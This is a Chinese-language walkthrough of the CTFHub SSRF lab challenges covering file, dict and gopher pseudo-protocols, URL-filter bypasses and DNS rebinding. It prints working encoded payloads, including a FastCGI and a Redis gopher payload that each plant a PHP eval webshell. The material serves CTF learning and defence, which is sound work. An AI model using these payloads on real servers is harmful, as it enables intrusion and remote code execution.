SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
下面我们通过做题深入了解一下
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:
file:///
dict://
sftp://
ldap://
tftp://
gopher://
具体用法请参考:
https://www.cnblogs.com/-mo-/p/11673190.html
网站的根目录一般都是在/var/www/html下
使用file:///协议
?url=file:///var/www/html/flag.php
题目提示端口在8000-9000,因此直接扫就可以了。使用burpsuite爆破:
也可以通过使用SSRF中的dict协议可以用来探测开放的端口
Payload: ?url=dict://127.0.0.1:8000
定义:
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
Gopher发送请求HTTP GET请求和POST请求参考:
https://zhuanlan.zhihu.com/p/112055947
访问flag.php,发现key值,结合题目,需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload
key=85dd6ab1a18c2fabacb046757c84de0b
构造post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=85dd6ab1a18c2fabacb046757c84de0b
#注意Content-Length那里,必须和你的POST请求长度一样
将%0A前都加上%0D
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=85dd6ab1a18c2fabacb046757c84de0b
再进行一次url编码:
payload:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=85dd6ab1a18c2fabacb046757c84de0b
通过file伪协议来读取flag.php源代码:
Payload: ?url=file:///var/www/html/flag.php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
判断文件是否为空,上传一个非空文件,没有提交选项,F12手动添加提交框,随便上传一个文件抓包:
我们需要通过get方式来进行上传一个文件到flag.php,利用gopher
协议:
通过脚本对请求包进行编码:
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------32122413682081012985660864680
Content-Length: 448
Origin: http://challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------32122413682081012985660864680
Content-Disposition: form-data; name="file"; filename="1.c"
Content-Type: text/plain
#include
int main()
{
int a,b,c;
scanf(" %d %d",&a,&b);
c=a*b;
printf("%d",&c);
return 0;
}
-----------------------------32122413682081012985660864680
Content-Disposition: form-data; name="submit"
æ交查询
-----------------------------32122413682081012985660864680--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A97.0%2529%2520Gecko/20100101%2520Firefox/97.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------32122413682081012985660864680%250D%250AContent-Length%253A%2520448%250D%250AOrigin%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.c%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A%2523include%253Cstdio.h%253E%250D%250Aint%2520main%2528%2529%250D%250A%257B%250D%250A%2509int%2520a%252Cb%252Cc%253B%250D%250A%2509scanf%2528%2522%2525d%2520%2525d%2522%252C%2526a%252C%2526b%2529%253B%250D%250A%2509c%253Da%252Ab%253B%250D%250A%2509printf%2528%2522%2525d%2522%252C%2526c%2529%253B%250D%250A%2509return%25200%253B%250D%250A%257D%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------32122413682081012985660864680--%250D%250A%250D%250A
Gopherus工具:https://github.com/tarunkant/Gopherus.git
参考:https://blog.csdn.net/mysteryflower/article/details/94386461
如果端口9000
是开放的,则SSRF漏洞可能存在并且可能导致RCE。为了利用它,您需要提供一个目标主机上必须存在的文件名。
该网站上存在index.php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
准备一句话木马:,
构造要执行的终端命令:对一句话木马进行base64编码,并写入到名为shell.php的文件中。
echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php
使用Gopherus工具生成payload:
python gopherus.py --exploit fastcgi
将生成的payload进行编码,第一次编码后将%0a
替换为%0d%0a
,再进行第二次编码即可,但我就进行了一次编码就可以上传成功,反而经过两次编码的数据无法上传。就离谱。。。。。。。。。。。
?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30
拿去进行一次url编码:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bstray%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A
默认上传的文件名为shell.php,查看shell.php:
?url=file///var/www/html/shell.php
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://[email protected]
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
这题我们就可以利用@
符号绕过:
题目要求 url must startwith “http://notfound.ctfhub.com”,我们可以利用@来绕过。
如 http://[email protected] 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://[email protected] 与 http://127.0.0.1 请求是相同的。
构造payload:
?url=http://[email protected]:80/flag.php
这次ban掉了127以及172.不能使用点分十进制的IP了:
127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001
payload:
?url=http://2130706433/flag.php
?url=http://0x7F000001/flag.php
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
302跳转代码:
header("Location: http://127.0.0.1/flag.php");
?>
使用localhost也是一样的道理:
?url=localhost/flag.php
另一种方式:
就是在服务器上写入上面的302跳转代码,
http://challenge-03f0daa16e1b3d14.sandbox.ctfhub.com:10800/?url=yourip:port/302.php
附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。
https://lock.cmpxchg8b.com/rebinder.html
构造payload:url=指定域名/flag.php,成功得到flag。